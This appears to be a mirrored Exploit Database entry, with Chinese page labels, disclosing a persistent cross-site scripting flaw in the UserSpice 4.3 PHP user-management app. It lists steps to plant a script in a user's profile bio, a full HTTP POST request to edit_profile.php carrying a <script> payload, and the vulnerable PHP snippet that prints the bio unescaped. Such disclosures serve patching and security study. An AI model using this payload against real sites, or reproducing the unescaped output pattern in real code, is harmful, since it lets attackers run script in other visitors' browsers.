userSpice 4.3 – Cross-Site Scripting

• Exploit Database
• 12 阅读

• 作者： Dolev Farhi
  日期： 2018-02-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44038/

• Application UserSpice PHP user management
  Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting
  URL https://userspice.com
  Date 2.13.2018
  Author Dolev Farhi
  
  
  1. Login with a regular user
  2. Navigate to Public profile
  3. Edit your bio
  4. Enter XSS payload
  5. Once anyone visits the Bio page the payload will execute
  
  POST /users/edit_profile.php HTTP/1.1
  Host: 192.168.56.2
  Content-Length: 59
  Cache-Control: max-age=0
  Origin: http://192.168.56.2
  Upgrade-Insecure-Requests: 1
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  Referer: http://192.168.56.2/users/edit_profile.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,he;q=0.8
  Connection: close
  
  bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio=
  
  Vulnerable code: 
  <td>
  <h4><a href="https://www.exploit-db.com/exploits/44038/profile.php?id=<?=$v1->id?>" class="nounderline"><?=echouser($v1->id)?></a></h4>
  <p><?=$ususerbio?></p>
  </td>